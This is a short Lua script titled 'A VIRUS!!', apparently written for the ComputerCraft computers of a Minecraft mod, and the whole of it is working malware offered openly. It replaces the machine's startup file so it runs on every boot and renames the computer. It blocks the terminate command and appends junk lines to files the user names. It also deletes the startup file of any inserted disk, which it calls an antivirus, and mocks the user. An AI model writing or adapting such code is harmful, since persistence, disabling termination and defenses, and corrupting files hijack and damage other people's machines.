A VIRUS!!

local handle = fs.open(shell.resolve("startup"),"w")
handle.write([[
local deleted = nil
term.clear()
term.setCursorPos(1,1)
term.setTextColor(colors.yellow)
print("Virus OS 1.8")
term.setTextColor(colors.white)
shell.run("label set BrokenComp")
print("This comp is fcked!")
while true do
  h = fs.open(io.read(),"a")
  h.write("\n")
  for v in pairs(keys) do
    if tostring(v) ~= "end" then
      if tostring(v) ~= "return" then
        h.write("os.queueEvent(\"key\",")
        h.writeLine("keys."..tostring(v)..")")
      end
    end
  end
  h.close()
  local a = os.pullEventRaw()
  if a == "disk" then
    if fs.exists("disk/startup") then
      shell.run("delete disk/startup")
      term.setTextColor(colors.green)
      textutils.slowPrint("Antivirus Deleted")
      sleep(.5)
      term.setTextColor(colors.white)
      print("nice try")
      deleted = true
    end
  end
  if a=="disk_eject" then
    if deleted then
      print(nil)
      print("Get a better antivirus next time")
    end
  end
  if a=="terminate" then
    printError("Terminated")
  end
end]])
handle.close()
os.reboot()